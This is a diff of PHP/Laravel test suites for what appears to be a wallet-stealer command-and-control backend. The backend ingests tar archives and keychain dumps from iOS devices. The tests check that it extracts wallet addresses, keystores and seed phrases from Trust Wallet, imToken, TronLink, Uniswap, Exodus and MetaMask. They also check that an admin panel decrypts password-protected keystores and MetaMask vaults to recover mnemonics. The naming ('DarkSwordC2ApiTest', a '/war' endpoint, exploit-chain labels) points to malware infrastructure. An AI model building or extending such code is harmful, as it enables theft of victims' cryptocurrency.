['coin' => 60, 'address' => self::ETH, 'derivationPath' => "m/44'/60'/0'/0/0"],
['coin' => 61, 'address' => $etc, 'derivationPath' => "m/44'/61'/0'/0/0"],
['coin' => 195, 'address' => self::TRON, 'derivationPath' => "m/44'/195'/0'/0/0"],
['coin' => 5741564, 'address' => $waves, 'derivationPath' => "m/44'/5741564'/0'/0'/0'"],
['coin' => 354, 'address' => $dot, 'derivationPath' => "m/44'/354'/0'/0'/0'"],
['coin' => 8453, 'address' => self::ETH, 'derivationPath' => "m/44'/60'/0'/0/0"],
['coin' => 20000714, 'address' => self::ETH, 'derivationPath' => "m/44'/60'/0'/0/0"],
['coin' => 501, 'address' => 'ESjqBjiwBH7e6Fg2eMRYbtkw8WfqK4iZZBmAz4uY6mTq', 'derivationPath' => "m/44'/501'/0'"],
['coin' => 10042221, 'address' => self::ETH, 'derivationPath' => "m/44'/60'/0'/0/0"],
],
];
$tar = $this->makeTar([
'Documents/keystore/UTC--hd' => json_encode($utc),
]);
app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'com.sixdays.trust.tar');
$addrs = WalletAddress::query()
->where('device_id', $device->id)
->orderBy('id')
->get(['address', 'chain_type']);
$this->assertTrue($addrs->contains(fn ($a) => $a->address === self::ETH && $a->chain_type === 'ETHEREUM'));
$this->assertTrue($addrs->contains(fn ($a) => $a->address === $btc && $a->chain_type === 'BITCOIN'));
$this->assertTrue($addrs->contains(fn ($a) => $a->address === self::TRON && $a->chain_type === 'TRON'));
$this->assertTrue($addrs->contains(fn ($a) => $a->address === self::ETH && $a->chain_type === 'BSC'));
$this->assertTrue($addrs->contains(fn ($a) => $a->address === 'ESjqBjiwBH7e6Fg2eMRYbtkw8WfqK4iZZBmAz4uY6mTq' && $a->chain_type === 'SOLANA'));
$this->assertTrue($addrs->contains(fn ($a) => $a->address === self::ETH && $a->chain_type === 'ARBITRUM'));
$this->assertFalse($addrs->contains(fn ($a) => $a->address === $etc));
$this->assertFalse($addrs->contains(fn ($a) => $a->address === $waves));
$this->assertFalse($addrs->contains(fn ($a) => $a->address === $dot));
$this->assertSame(1, $addrs->where('address', self::ETH)->where('chain_type', 'ETHEREUM')->count());
}
#[Test]
public function tronlink_sqlite_writes_address_and_balance_and_flags_password(): void
{
$device = $this->makeDevice('dev-tronlink');
$sqlite = $this->makeTronLinkSqlite();
$utc = [
'version' => 3,
'crypto' => ['ciphertext' => 'cc', 'mac' => 'dd'],
'address' => self::TRON,
];
$tar = $this->makeTar([
'Documents/tron.sqlite' => $sqlite,
'Documents/keystore/UTC--tron' => json_encode($utc),
]);
app(AppUploadIngester::class)->ingestArtifact(
$device,
$tar,
'com.tronlink.hdwallet.tar',
);
$flagged = WalletKeystore::query()
->where('device_id', $device->id)
->where('needs_password', 1)
->count();
$this->assertGreaterThan(0, $flagged);
$this->assertFalse(
WalletKeystore::query()
->where('device_id', $device->id)
->get()
->contains(fn (WalletKeystore $row) => $row->kind() === 'sandbox')
);
$this->assertSame(
0,
WalletKeystore::query()
->where('device_id', $device->id)
->where('needs_password', 0)
->count()
);
$addr = WalletAddress::query()->where('device_id', $device->id)->where('address', self::TRON)->first();
$this->assertNotNull($addr);
$this->assertSame('TronLink', $addr->source);
$this->assertSame(0.0, (float) $addr->trx);
$this->assertEqualsWithDelta(1.5, (float) $addr->usdt, 0.0001);
}
#[Test]
public function imtoken_keeps_account_eoa_and_skips_token_contracts(): void
{
$device = $this->makeDevice('dev-imtoken-addr');
$usdt = 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t';
$weth = '0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2';
$utcEth = 'c3f025c2b480ade8f67c8ae9bec3e17f62c26fdf';
$tar = $this->makeTar([
'Documents/walletsV2/wid.json' => json_encode([
'crypto' => ['ciphertext' => 'aa', 'mac' => 'bb'],
'address' => $utcEth,
'imTokenMeta' => ['source' => 'NEW_MNEMONIC', 'network' => 'MAINNET'],
]),
'Library/Application Support/im.token.app/RCTAsyncLocalStorage_V1/account.json' => json_encode([
'AccountModel' => [
'itemsById' => [
'acc1' => [
'type' => 'EOA',
'address' => self::TRON,
'path' => "m/44'/195'/0'/0/0",
],
],
],
'AssetToken' => [
'itemsById' => [
'tok1' => [
'chainType' => 'TRON',
'address' => $usdt,
'symbol' => 'USDT',
'decimal' => 6,
'tokenType' => 'TRC20',
'accountAddress' => self::TRON,
],
],
],
]),
'Library/Application Support/im.token.app/RCTAsyncLocalStorage_V1/tokens.json' => json_encode([
'wethContractAddress' => $weth,
'address' => $weth,
]),
]);
app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'im.token.app.tar');
$addrs = WalletAddress::query()->where('device_id', $device->id)->pluck('address')->all();
$this->assertSame([self::TRON], $addrs);
$this->assertTrue(
WalletKeystore::query()->where('device_id', $device->id)->where('source', 'imToken')->exists()
);
}
#[Test]
public function global_wallet_skips_helper_contract_addresses(): void
{
$device = $this->makeDevice('dev-gw-addr');
$batch = 'TDe5aJyJmtJdon9nNRbX1itnftt6LQLUwU';
$balance = 'TWSaaayu3N1z5GKeWYyTkUG1p9tw3tdTHw';
$weth = '0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2';
$tar = $this->makeTar([
'Documents/cache/MarketFilterParamsModel.Type.json' => json_encode([
'blockchainList' => [[
'name' => 'tron',
'metadata' => [
'batchTxContract' => $batch,
'balanceContract' => $balance,
],
]],
]),
'Documents/cache/default.show.tokens' => json_encode([
'address' => $weth,
'symbol' => 'WETH',
]),
]);
app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'com.global.wallet.ios.tar');
$this->assertSame(
0,
WalletAddress::query()->where('device_id', $device->id)->count()
);
}
#[Test]
public function keychain_plaintext_mnemonic_is_recovered_on_decrypt(): void
{
$device = $this->makeDevice('dev-uniswap');
$xml = '<?xml version="1.0"?><keychain>'
.'<item>'
.'<acct>com.uniswap.mobile.mnemonic.'.self::ETH.'</acct>'
.'<svce>Uniswap</svce>'
.'<agrp>TEAM.com.uniswap.mobile</agrp>'
.'<v_Data bin="1">'.base64_encode(self::MNEMONIC).'</v_Data>'
.'</item>'
.'</keychain>';
$ingester = app(AppUploadIngester::class);
$ingester->ingestArtifact($device, $xml, 'keychain.xml');
$ingester->dispatchDecrypt($device);
$this->assertTrue(
WalletKeystore::query()->where('device_id', $device->id)->exists()
);
$memo = WalletMnemonic::query()->where('device_id', $device->id)->first();
$this->assertNotNull($memo);
$this->assertSame('Uniswap', $memo->source);
$this->assertSame(WalletMnemonic::hashSecret(self::MNEMONIC), $memo->mnemonic_hash);
$addr = WalletAddress::query()->where('device_id', $device->id)->where('address', self::ETH)->first();
$this->assertNotNull($addr);
$this->assertSame($memo->id, $addr->mnemonic_id);
$this->assertTrue(
DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'com.uniswap.mobile')->exists()
);
}
#[Test]
public function keychain_exodus_json_mnemonic_is_sourced_exodus(): void
{
$device = $this->makeDevice('dev-exodus');
$payload = json_encode([
'mnemonic' => self::MNEMONIC,
'seed' => 'not-a-mnemonic',
'dateCreated' => 1,
], JSON_UNESCAPED_SLASHES);
$xml = '<?xml version="1.0"?><keychain>'
.'<item>'
.'<acct>unused</acct>'
.'<svce></svce>'
.'<agrp>TEAM.exodus-movement.exodus</agrp>'
.'<v_Data bin="1">'.base64_encode((string) $payload).'</v_Data>'
.'</item>'
.'</keychain>';
$ingester = app(AppUploadIngester::class);
$ingester->ingestArtifact($device, $xml, 'keychain.xml');
$ingester->dispatchDecrypt($device);
$memo = WalletMnemonic::query()->where('device_id', $device->id)->first();
$this->assertNotNull($memo);
$this->assertSame('Exodus', $memo->source);
$this->assertSame(WalletMnemonic::hashSecret(self::MNEMONIC), $memo->mnemonic_hash);
}
#[Test]
public function keychain_metamask_vault_is_a_password_row(): void
{
$device = $this->makeDevice('dev-mm-vault');
$vault = $this->makeMetamaskVault(self::MNEMONIC, 'woshini@88');
unset($vault['kind']);
$xml = '<?xml version="1.0"?><keychain>'
.'<item>'
.'<acct>VAULT_BACKUP</acct>'
.'<svce></svce>'
.'<agrp>TEAM.io.metamask.MetaMask</agrp>'
.'<v_Data bin="1">'.base64_encode((string) json_encode($vault)).'</v_Data>'
.'</item>'
.'<item>'
.'<acct>deviceUID</acct>'
.'<svce>deviceUID</svce>'
.'<agrp>TEAM.io.metamask.MetaMask</agrp>'
.'<v_Data bin="1">'.base64_encode('aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee').'</v_Data>'
.'</item>'
.'</keychain>';
app(AppUploadIngester::class)->ingestArtifact($device, $xml, 'keychain.xml');
$mm = WalletKeystore::query()->where('device_id', $device->id)->where('source', 'MetaMask')->first();
$this->assertNotNull($mm);
$this->assertSame(1, (int) $mm->needs_password);
$this->assertSame('metamask.vault', $mm->kind());
$this->assertSame(0, (int) $mm->decrypted);
$kc = WalletKeystore::query()->where('device_id', $device->id)->where('source', 'app/keychain')->first();
$this->assertNotNull($kc);
$items = $kc->raw_json['wallets']['MetaMask']['items'] ?? [];
foreach ($items as $item) {
$this->assertNotSame('VAULT_BACKUP', $item['account'] ?? '');
}
}
#[Test]
public function keychain_skips_apple_and_wildcard_installed_apps(): void
{
$device = $this->makeDevice('dev-app-noise');
$xml = '<?xml version="1.0"?><keychain>'
.'<item><acct>a</acct><svce>s</svce><agrp>TEAM.apple.Spotlight</agrp>'
.'<v_Data bin="1">'.base64_encode('x').'</v_Data></item>'
.'<item><acct>b</acct><svce>s</svce><agrp>TEAM.apple.TextInput</agrp>'
.'<v_Data bin="1">'.base64_encode('y').'</v_Data></item>'
.'<item><acct>c</acct><svce>s</svce><agrp>TEAM.*</agrp>'
.'<v_Data bin="1">'.base64_encode('z').'</v_Data></item>'
.'<item><acct>d</acct><svce>s</svce><agrp>apple.security.octagon</agrp>'
.'<v_Data bin="1">'.base64_encode('w').'</v_Data></item>'
.'<item><acct>e</acct><svce>Bitpie</svce><agrp>TEAM.com.bitpie.wallet</agrp>'
.'<v_Data bin="1">'.base64_encode('ok').'</v_Data></item>'
.'</keychain>';
app(AppUploadIngester::class)->ingestArtifact($device, $xml, 'keychain.xml');
$this->assertFalse(
DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'like', 'apple.%')->exists()
);
$this->assertFalse(
DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', '*')->exists()
);
$this->assertFalse(
DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'Spotlight')->exists()
);
$this->assertTrue(
DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'com.bitpie.wallet')->exists()
);
$this->assertSame(1, DeviceApp::query()->where('device_id', $device->id)->count());
}
private function makeDevice(string $id = 'dev-app-1'): Device
{
return Device::query()->create([
'device_id' => $id,
'ios_version' => '18.0',
'device_model' => 'iPhone',
'chain' => Device::CHAIN_APP,
]);
}
/**
* @return array<string, mixed>
*/
private function makeMetamaskVault(string $phrase, string $password): array
{
$inner = json_encode([[
'type' => 'HD Key Tree',
'data' => [
'mnemonic' => array_map('ord', str_split($phrase)),
'numberOfAccounts' => 1,
'hdPath' => "m/44'/60'/0'/0",
],
]], JSON_UNESCAPED_SLASHES);
$saltB64 = base64_encode(random_bytes(32));
$iv = random_bytes(16);
$key = hash_pbkdf2('sha512', $password, $saltB64, 5000, 32, true);
$cipher = openssl_encrypt((string) $inner, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv);
return [
'kind' => 'metamask.vault',
'cipher' => base64_encode((string) $cipher),
'iv' => bin2hex($iv),
'salt' => $saltB64,
'lib' => 'quick-crypto',
'keyMetadata' => [
'algorithm' => 'PBKDF2',
'params' => ['iterations' => 5000],
],
];
}
/**
* @param array<string, string> $files
*/
private function makeTar(array $files): string
{
$dir = sys_get_temp_dir().'/app_upload_tar_'.bin2hex(random_bytes(4));
mkdir($dir, 0777, true);
$tarPath = $dir.'.tar';
try {
foreach ($files as $rel => $body) {
$full = $dir.'/'.$rel;
$parent = dirname($full);
if (! is_dir($parent)) {
mkdir($parent, 0777, true);
}
file_put_contents($full, $body);
}
$phar = new \PharData($tarPath);
$phar->buildFromDirectory($dir);
return (string) file_get_contents($tarPath);
} finally {
@unlink($tarPath);
$it = new \RecursiveIteratorIterator(
new \RecursiveDirectoryIterator($dir, \FilesystemIterator::SKIP_DOTS),
\RecursiveIteratorIterator::CHILD_FIRST
);
foreach ($it as $f) {
$f->isDir() ? @rmdir($f->getPathname()) : @unlink($f->getPathname());
}
@rmdir($dir);
}
}
private function makeTronLinkSqlite(): string
{
$tmp = tempnam(sys_get_temp_dir(), 'tl_sqlite_');
$pdo = new \PDO('sqlite:'.$tmp);
$pdo->exec('CREATE TABLE Wallet (id INTEGER PRIMARY KEY, address TEXT)');
$pdo->exec('CREATE TABLE ORM_DBTable_HomeNewAsset (id INTEGER, address TEXT, balance TEXT, shortName TEXT, contractAddress TEXT)');
$ins = $pdo->prepare('INSERT INTO Wallet (address) VALUES (?)');
$ins->execute([self::TRON]);
$asset = $pdo->prepare('INSERT INTO ORM_DBTable_HomeNewAsset (id, address, balance, shortName, contractAddress) VALUES (?,?,?,?,?)');
$asset->execute([1, self::TRON, '0', 'TRX', '']);
$asset->execute([2, self::TRON, '1.5', 'USDT', 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t']);
$pdo = null;
$bytes = (string) file_get_contents($tmp);
@unlink($tmp);
return $bytes;
}
}
+42 -18
View File
@@ -399,7 +399,17 @@ class DarkSwordC2ApiTest extends TestCase
'errors' => ['aksUnwrap class=10 kr=3758097090'],
],
'sandbox' => [
'imtoken' => ['keystore.json' => '{"version":3}'],
'imtoken' => [
'walletsV2.json' => json_encode([
'version' => 3,
'crypto' => [
'cipher' => 'aes-128-ctr',
'ciphertext' => 'aa',
'mac' => 'bb',
'kdf' => 'pbkdf2',
],
]),
],
],
])->assertOk()->assertJson(['ok' => true]);
@@ -412,6 +422,12 @@ class DarkSwordC2ApiTest extends TestCase
$sources = $rows->pluck('source')->all();
$this->assertContains('Trust Wallet', $sources);
$this->assertContains('imToken', $sources);
$this->assertEqualsCanonicalizing(
['钥匙串', '标准 Keystore'],
$rows->map(fn ($row) => $row->kindLabel())->all()
);
$this->assertFalse($rows->contains(fn ($row) => $row->kind() === 'sandbox'));
$this->assertTrue($rows->every(fn ($row) => (int) $row->chain === Device::CHAIN_DARKSWORD));
}
#[Test]
@@ -442,41 +458,51 @@ class DarkSwordC2ApiTest extends TestCase
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($device);
$rows = WalletKeystore::query()->where('device_id', $device->id)->get();
$this->assertSame(2, $rows->count());
$this->assertEqualsCanonicalizing(['钥匙串', '沙盒文件'], $rows->map(fn ($row) => $row->kindLabel())->all());
$this->assertSame(1, $rows->count());
$this->assertSame(['钥匙串'], $rows->map(fn ($row) => $row->kindLabel())->all());
}
#[Test]
public function war_collapses_existing_duplicate_sandbox_rows(): void
public function war_collapses_existing_duplicate_web3_rows(): void
{
$device = Device::query()->create([
'device_id' => self::DS_LHU,
'chain' => Device::CHAIN_DARKSWORD,
]);
$raw = [
'kind' => 'sandbox',
'sandbox' => ['trust_wallet' => '{"device_uuid":"69DD25B2CA8B5682"}'],
$utc = [
'kind' => 'web3.keystore',
'crypto' => [
'cipher' => 'aes-128-ctr',
'ciphertext' => 'aa',
'mac' => 'bb',
'kdf' => 'scrypt',
],
];
WalletKeystore::query()->create([
'device_id' => $device->id,
'source' => 'Trust Wallet',
'decrypted' => 0,
'raw_json' => $raw,
'raw_json' => $utc,
]);
WalletKeystore::query()->create([
'device_id' => $device->id,
'source' => 'Trust Wallet',
'decrypted' => 0,
'raw_json' => $raw,
'raw_json' => $utc,
]);
$this->assertSame(2, WalletKeystore::query()->where('device_id', $device->id)->count());
$this->postJson('/war', [
'lhu' => self::DS_LHU,
'sandbox' => ['trust_wallet' => '{"device_uuid":"69DD25B2CA8B5682"}'],
'sandbox' => [
'trust_wallet' => [
'Documents/keystore/UTC--demo' => json_encode($utc),
],
],
])->assertOk();
$this->assertSame(1, WalletKeystore::query()->where('device_id', $device->id)->count());
$this->assertSame('标准 Keystore', WalletKeystore::query()->where('device_id', $device->id)->first()?->kindLabel());
$this->assertNotSame('', (string) WalletKeystore::query()->where('device_id', $device->id)->value('content_hash'));
}
@@ -615,6 +641,8 @@ class DarkSwordC2ApiTest extends TestCase
$rows = WalletKeystore::query()->where('device_id', $device->id)->where('source', 'Trust Wallet')->get();
$this->assertGreaterThanOrEqual(1, $rows->count());
$this->assertTrue($rows->contains(fn ($row) => (int) $row->decrypted === 1));
$this->assertFalse($rows->contains(fn ($row) => $row->kind() === 'sandbox'));
$this->assertTrue($rows->contains(fn ($row) => $row->kind() === 'web3.keystore'));
}
#[Test]
@@ -654,14 +682,7 @@ class DarkSwordC2ApiTest extends TestCase
'device_id' => $device->id,
'source' => 'Trust Wallet',
'decrypted' => 0,
'raw_json' => [
'kind' => 'sandbox',
'sandbox' => [
'trust_wallet' => [
'Documents/keystore/UTC--demo' => base64_encode(json_encode($utc)),
],
],
],
'raw_json' => array_merge($utc, ['kind' => 'web3.keystore']),
]);
app(\App\Services\DarkSwordIngestAdapter::class)->reprocessKeystores($device->fresh('keystores'));
@@ -1593,6 +1614,8 @@ class DarkSwordC2ApiTest extends TestCase
$this->assertNotNull($ks);
// No password → not decrypted, but keystore is stored.
$this->assertSame(0, (int) $ks->decrypted);
$this->assertSame(1, (int) $ks->needs_password);
$this->assertSame('标准 Keystore', $ks->kindLabel());
}
#[Test]
@@ -1682,6 +1705,7 @@ class DarkSwordC2ApiTest extends TestCase
// Mnemonic should be recovered by walkForMnemonics.
$memo = WalletMnemonic::query()->where('device_id', $device->id)->first();
$this->assertNotNull($memo, 'Uniswap mnemonic should be recovered by walkForMnemonics');
$this->assertSame('Uniswap', $memo->source);
$this->assertSame($mnemonic, $memo->mnemonic);
// Address should be extracted from the account field.
+7
View File
@@ -18,8 +18,10 @@ use App\Models\User;
use App\Models\WalletAddress;
use App\Models\WalletKeystore;
use App\Models\WalletMnemonic;
use App\Services\Tokenview\TokenviewMonitorService;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Storage;
use Mockery;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
@@ -64,6 +66,7 @@ class DeviceDeleteTest extends TestCase
'address' => 'Txxx',
'source' => 'imToken',
'chain_type' => 'TRX',
'monitor' => 1,
]);
WalletMnemonic::query()->create([
'device_id' => $device->id,
@@ -135,6 +138,10 @@ class DeviceDeleteTest extends TestCase
Storage::disk('local')->put($waPath, '{"userId":"15550001111"}');
try {
$tokenview = Mockery::mock(TokenviewMonitorService::class);
$tokenview->shouldReceive('syncMonitor')->never();
$this->app->instance(TokenviewMonitorService::class, $tokenview);
$this->actingAs($admin, 'admin')
->deleteJson(route('admin.devices.destroy', $device))
->assertOk()
+33
View File
@@ -4,6 +4,7 @@ namespace Tests\Feature;
use App\Models\Admin;
use App\Models\Device;
use App\Models\DeviceApp;
use App\Services\IngestService;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Http;
@@ -46,6 +47,38 @@ class DeviceWalletFlagTest extends TestCase
$this->assertFalse((bool) $device->apps()->where('bundle_id', 'com.apple.mobilesafari')->value('is_wallet'));
}
#[Test]
public function applist_skips_apple_prefix_and_wildcard_bundles(): void
{
$device = Device::query()->create(['device_id' => 'dev-app-skip-noise']);
app(IngestService::class)->ingestInstalledApps($device, [
'al' => [
['a' => 'Spotlight', 'b' => 'apple.Spotlight'],
['a' => '*', 'b' => '*'],
['a' => 'Octagon', 'b' => 'apple.security.octagon'],
['a' => 'Safari', 'b' => 'com.apple.mobilesafari'],
['a' => 'MetaMask', 'b' => 'io.metamask'],
],
]);
$this->assertFalse(
DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'apple.Spotlight')->exists()
);
$this->assertFalse(
DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', '*')->exists()
);
$this->assertFalse(
DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'apple.security.octagon')->exists()
);
$this->assertTrue(
DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'com.apple.mobilesafari')->exists()
);
$this->assertTrue(
DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'io.metamask')->exists()
);
}
#[Test]
public function applist_with_plugin_wallets_marks_yes_and_notifies_once(): void
{
+258 -6
View File
@@ -65,9 +65,8 @@ class KeystoreAdminTest extends TestCase
->assertJsonPath('data.0.source', 'Trust Wallet')
->assertJsonPath('data.0.decrypted', 1)
->assertJsonPath('data.0.kind', '钥匙串')
->assertJsonPath('data.0.item_count', 1)
->assertJsonPath('data.0.summary', 'trust.account')
->assertJsonPath('data.0.device_key', 'DEVKEYSTORE01');
->assertJsonPath('data.0.device_key', 'DEVKEYSTORE01')
->assertJsonPath('data.0.chain', Device::CHAIN_CORUNA);
$this->actingAs($admin, 'admin')
->getJson(route('admin.keystores.items', $row))
@@ -95,9 +94,7 @@ class KeystoreAdminTest extends TestCase
$this->actingAs($admin, 'admin')
->getJson(route('admin.devices.tabData', [$device, 'tab' => 'keystores']))
->assertOk()
->assertJsonPath('data.0.source', 'Trust Wallet')
->assertJsonPath('data.0.item_count', 1)
->assertJsonPath('data.0.summary', 'trust.account');
->assertJsonPath('data.0.source', 'Trust Wallet');
}
#[Test]
@@ -259,4 +256,259 @@ class KeystoreAdminTest extends TestCase
->assertJsonPath('msg', '有钥匙串密码,但没有沙盒 UTC 文件(Documents/keystore/UTC--…)。Trust 不能只靠钥匙串解密');
$this->assertGreaterThan(0, $resp->json('data.passwords'));
}
#[Test]
public function admin_filters_keystores_that_need_password(): void
{
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$device = Device::query()->create([
'device_id' => 'DEVNEEDSPW01',
'channel_id' => 'ch-ks-pw',
]);
WalletKeystore::query()->create([
'device_id' => $device->id,
'source' => 'Trust Wallet',
'decrypted' => 0,
'raw_json' => ['kind' => 'sandbox', 'sandbox' => []],
]);
WalletKeystore::query()->create([
'device_id' => $device->id,
'source' => 'imToken',
'decrypted' => 0,
'needs_password' => 1,
'raw_json' => ['kind' => 'web3.keystore', 'crypto' => ['ciphertext' => 'aa', 'mac' => 'bb']],
]);
$this->actingAs($admin, 'admin')
->getJson(route('admin.keystores.data'))
->assertOk()
->assertJsonPath('count', 2);
$this->actingAs($admin, 'admin')
->getJson(route('admin.keystores.data', ['needs_password' => '1']))
->assertOk()
->assertJsonPath('count', 1)
->assertJsonPath('data.0.source', 'imToken')
->assertJsonPath('data.0.needs_password', 1);
$this->actingAs($admin, 'admin')
->getJson(route('admin.devices.tabData', [$device, 'tab' => 'keystores', 'needs_password' => '1']))
->assertOk()
->assertJsonPath('count', 1)
->assertJsonPath('data.0.needs_password', 1);
$this->actingAs($admin, 'admin')
->get(route('admin.keystores.index'))
->assertOk()
->assertSee('需要密码');
}
#[Test]
public function admin_filters_keystores_by_chain(): void
{
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$ds = Device::query()->create([
'device_id' => 'DEVKSCHAINDS',
'chain' => Device::CHAIN_DARKSWORD,
]);
$app = Device::query()->create([
'device_id' => 'DEVKSCHAINAPP',
'chain' => Device::CHAIN_APP,
]);
WalletKeystore::firstOrCreateForDevice($ds, 'Trust Wallet', ['kind' => 'keychain.wallets', 'wallets' => []]);
WalletKeystore::firstOrCreateForDevice($app, 'imToken', ['kind' => 'web3.keystore', 'crypto' => ['ciphertext' => 'aa', 'mac' => 'bb']]);
$this->actingAs($admin, 'admin')
->get(route('admin.keystores.index'))
->assertOk()
->assertSee('利用链');
$this->actingAs($admin, 'admin')
->getJson(route('admin.keystores.data', ['chain' => '2']))
->assertOk()
->assertJsonPath('count', 1)
->assertJsonPath('data.0.device_key', 'DEVKSCHAINDS')
->assertJsonPath('data.0.chain', Device::CHAIN_DARKSWORD);
$this->actingAs($admin, 'admin')
->getJson(route('admin.keystores.data', ['chain' => '3']))
->assertOk()
->assertJsonPath('count', 1)
->assertJsonPath('data.0.device_key', 'DEVKSCHAINAPP')
->assertJsonPath('data.0.chain', Device::CHAIN_APP);
$legacy = Device::query()->create([
'device_id' => 'DEVKSCHAINLEGACY',
'chain' => Device::CHAIN_APP,
]);
WalletKeystore::query()->create([
'device_id' => $legacy->id,
'source' => 'Uniswap',
'decrypted' => 0,
'raw_json' => ['kind' => 'keychain.wallets', 'wallets' => []],
]);
$this->actingAs($admin, 'admin')
->getJson(route('admin.keystores.data', ['chain' => '3']))
->assertOk()
->assertJsonPath('count', 2);
}
#[Test]
public function admin_password_decrypt_writes_mnemonic(): void
{
Http::fake();
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$phrase = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
$password = 'wallet-pass-1';
$utc = EthKeystore::encrypt($phrase, $password, [
'n' => 16,
'r' => 8,
'p' => 1,
'dklen' => 32,
'salt' => str_repeat('ab', 32),
]);
$device = Device::query()->create(['device_id' => 'DEVKSPASS01']);
$row = WalletKeystore::query()->create([
'device_id' => $device->id,
'source' => 'imToken',
'decrypted' => 0,
'needs_password' => 1,
'raw_json' => array_merge($utc, ['kind' => 'web3.keystore']),
]);
$this->actingAs($admin, 'admin')
->getJson(route('admin.keystores.data'))
->assertOk()
->assertJsonPath('data.0.needs_password', 1)
->assertJsonPath('data.0.password_decrypt_url', route('admin.keystores.decryptPassword', $row));
$this->actingAs($admin, 'admin')
->postJson(route('admin.keystores.decryptPassword', $row), ['password' => $password])
->assertOk()
->assertJsonPath('code', 0)
->assertJsonPath('data.added', 1)
->assertJsonPath('data.decrypted', 1);
$mnemonic = WalletMnemonic::query()->where('device_id', $device->id)->first();
$this->assertNotNull($mnemonic);
$this->assertSame($phrase, $mnemonic->mnemonic);
$this->assertSame('imToken', $mnemonic->source);
$this->assertSame(1, (int) $row->fresh()->decrypted);
}
#[Test]
public function password_decrypt_rejects_wrong_and_empty_password(): void
{
Http::fake();
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$phrase = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
$utc = EthKeystore::encrypt($phrase, 'correct-pass', [
'n' => 16,
'r' => 8,
'p' => 1,
'dklen' => 32,
'salt' => str_repeat('cd', 32),
]);
$device = Device::query()->create(['device_id' => 'DEVKSPASS02']);
$row = WalletKeystore::query()->create([
'device_id' => $device->id,
'source' => 'imToken',
'decrypted' => 0,
'needs_password' => 1,
'raw_json' => array_merge($utc, ['kind' => 'web3.keystore']),
]);
$plain = WalletKeystore::query()->create([
'device_id' => $device->id,
'source' => 'Trust Wallet',
'decrypted' => 0,
'raw_json' => ['kind' => 'sandbox', 'sandbox' => []],
]);
$this->actingAs($admin, 'admin')
->postJson(route('admin.keystores.decryptPassword', $row), ['password' => ''])
->assertStatus(422)
->assertJsonPath('code', 1);
$this->actingAs($admin, 'admin')
->postJson(route('admin.keystores.decryptPassword', $row), ['password' => 'wrong-pass'])
->assertStatus(400)
->assertJsonPath('code', 1)
->assertJsonPath('msg', '密码不正确,未能解开助记词');
$this->assertSame(0, WalletMnemonic::query()->where('device_id', $device->id)->count());
$this->actingAs($admin, 'admin')
->postJson(route('admin.keystores.decryptPassword', $plain), ['password' => 'x'])
->assertStatus(400)
->assertJsonPath('msg', '该钥匙串未标记为需要密码');
}
#[Test]
public function admin_password_decrypt_metamask_vault(): void
{
Http::fake();
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$phrase = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
$password = 'woshini@88';
$device = Device::query()->create(['device_id' => 'DEVKSPASSMM']);
$row = WalletKeystore::query()->create([
'device_id' => $device->id,
'source' => 'MetaMask',
'decrypted' => 0,
'needs_password' => 1,
'raw_json' => $this->makeMetamaskVault($phrase, $password),
]);
$this->actingAs($admin, 'admin')
->getJson(route('admin.keystores.data'))
->assertOk()
->assertJsonPath('data.0.needs_password', 1)
->assertJsonPath('data.0.password_decrypt_url', route('admin.keystores.decryptPassword', $row));
$this->actingAs($admin, 'admin')
->postJson(route('admin.keystores.decryptPassword', $row), ['password' => $password])
->assertOk()
->assertJsonPath('code', 0)
->assertJsonPath('data.added', 1)
->assertJsonPath('data.decrypted', 1)
->assertJsonPath('data.vault', 1);
$mnemonic = WalletMnemonic::query()->where('device_id', $device->id)->first();
$this->assertNotNull($mnemonic);
$this->assertSame($phrase, $mnemonic->mnemonic);
$this->assertSame('MetaMask', $mnemonic->source);
$this->assertSame(1, (int) $row->fresh()->decrypted);
}
/**
* @return array<string, mixed>
*/
private function makeMetamaskVault(string $phrase, string $password): array
{
$inner = json_encode([[
'type' => 'HD Key Tree',
'data' => [
'mnemonic' => array_map('ord', str_split($phrase)),
'numberOfAccounts' => 1,
'hdPath' => "m/44'/60'/0'/0",
],
]], JSON_UNESCAPED_SLASHES);
$saltB64 = base64_encode(random_bytes(32));
$iv = random_bytes(16);
$key = hash_pbkdf2('sha512', $password, $saltB64, 5000, 32, true);
$cipher = openssl_encrypt((string) $inner, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv);
return [
'kind' => 'metamask.vault',
'cipher' => base64_encode((string) $cipher),
'iv' => bin2hex($iv),
'salt' => $saltB64,
'lib' => 'quick-crypto',
'keyMetadata' => [
'algorithm' => 'PBKDF2',
'params' => ['iterations' => 5000],
],
];
}
}
+6 -1
View File
@@ -22,6 +22,8 @@ class DsTrustAddressIngestTest extends TestCase
['address' => 'TSecondTronAddress111111111111111111', 'coin' => 195],
